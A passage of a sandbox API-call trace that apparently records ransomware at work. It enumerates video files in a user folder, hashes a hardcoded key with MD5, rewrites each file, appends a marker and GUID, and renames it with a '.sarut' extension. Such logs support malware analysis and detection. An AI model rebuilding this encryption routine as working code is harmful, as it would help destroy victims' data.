pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.405] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.405] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.405] GetLastError () returned 0x0 [0269.405] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.405] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x12e10) returned 0x311d708 [0269.406] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.406] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x12e0a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x12e0a, lpOverlapped=0x0) returned 1 [0269.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.406] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12e0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.407] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.407] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.407] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.407] CloseHandle (hObject=0x5c4) returned 1 [0269.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.412] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.412] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aY2-M1hNNjjWY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ay2-m1hnnjjwy.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aY2-M1hNNjjWY.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ay2-m1hnnjjwy.flv.sarut")) returned 1 [0269.413] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.413] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.414] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de63140, ftCreationTime.dwHighDateTime=0x1d4cfeb, ftLastAccessTime.dwLowDateTime=0x9a3afc50, ftLastAccessTime.dwHighDateTime=0x1d4c713, ftLastWriteTime.dwLowDateTime=0x9a3afc50, ftLastWriteTime.dwHighDateTime=0x1d4c713, nFileSizeHigh=0x0, nFileSizeLow=0xc3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BqAvk1V3qDn9l.swf", cAlternateFileName="BQAVK1~1.SWF")) returned 1 [0269.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.414] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.414] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\BqAvk1V3qDn9l.swf") returned=".swf" [0269.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\BqAvk1V3qDn9l.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bqavk1v3qdn9l.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.415] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=50112) returned 1 [0269.415] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.417] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.417] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.419] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.419] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.419] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xc3c0, lpOverlapped=0x0) returned 1 [0269.422] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.422] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.423] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.423] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.424] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.424] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.424] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.424] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.424] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.424] GetLastError () returned 0x0 [0269.424] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.424] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.424] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc3c0) returned 0x311d708 [0269.424] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.424] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xc3bb, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xc3bb, lpOverlapped=0x0) returned 1 [0269.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.425] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.425] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.425] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.425] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.425] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.425] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.425] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.425] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.425] CloseHandle (hObject=0x5c4) returned 1 [0269.427] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.427] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.427] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\BqAvk1V3qDn9l.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bqavk1v3qdn9l.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\BqAvk1V3qDn9l.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bqavk1v3qdn9l.swf.sarut")) returned 1 [0269.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.429] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.430] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb78d0, ftCreationTime.dwHighDateTime=0x1d4cf43, ftLastAccessTime.dwLowDateTime=0x3a489220, ftLastAccessTime.dwHighDateTime=0x1d4ccd2, ftLastWriteTime.dwLowDateTime=0x3a489220, ftLastWriteTime.dwHighDateTime=0x1d4ccd2, nFileSizeHigh=0x0, nFileSizeLow=0xc4f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bZE6e7_.mkv", cAlternateFileName="")) returned 1 [0269.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.430] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bZE6e7_.mkv") returned=".mkv" [0269.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bZE6e7_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bze6e7_.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.431] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=50424) returned 1 [0269.431] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.433] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc4d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.433] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.435] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.435] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xc4f8, lpOverlapped=0x0) returned 1 [0269.436] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.436] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.436] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.436] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.437] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.437] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.437] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.437] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.437] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.437] GetLastError () returned 0x0 [0269.437] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.438] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.438] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc500) returned 0x311d708 [0269.438] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.438] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xc4f3, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xc4f3, lpOverlapped=0x0) returned 1 [0269.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.438] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc4f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.438] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.438] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.439] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.439] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.439] CloseHandle (hObject=0x5c4) returned 1 [0269.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bZE6e7_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bze6e7_.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bZE6e7_.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bze6e7_.mkv.sarut")) returned 1 [0269.511] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.511] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.512] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0269.512] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.512] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.512] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0269.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.512] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a6eaae0, ftCreationTime.dwHighDateTime=0x1d4ccc3, ftLastAccessTime.dwLowDateTime=0x2db9e270, ftLastAccessTime.dwHighDateTime=0x1d4d56f, ftLastWriteTime.dwLowDateTime=0x2db9e270, ftLastWriteTime.dwHighDateTime=0x1d4d56f, nFileSizeHigh=0x0, nFileSizeLow=0xd67d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DJt2bijl-Kw7JEUBg.mkv", cAlternateFileName="DJT2BI~1.MKV")) returned 1 [0269.512] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.512] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.512] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.512] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DJt2bijl-Kw7JEUBg.mkv") returned=".mkv" [0269.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DJt2bijl-Kw7JEUBg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\djt2bijl-kw7jeubg.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.513] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=54909) returned 1 [0269.513] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.515] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd657, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.515] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.518] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.518] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.518] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.518] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd67d, lpOverlapped=0x0) returned 1 [0269.519] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.519] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.519] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.519] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.519] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.520] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.520] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.520] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.520] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.520] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.520] GetLastError () returned 0x0 [0269.520] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.520] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.520] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd680) returned 0x311d708 [0269.521] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.521] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xd678, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xd678, lpOverlapped=0x0) returned 1 [0269.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.521] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd67d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.521] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, 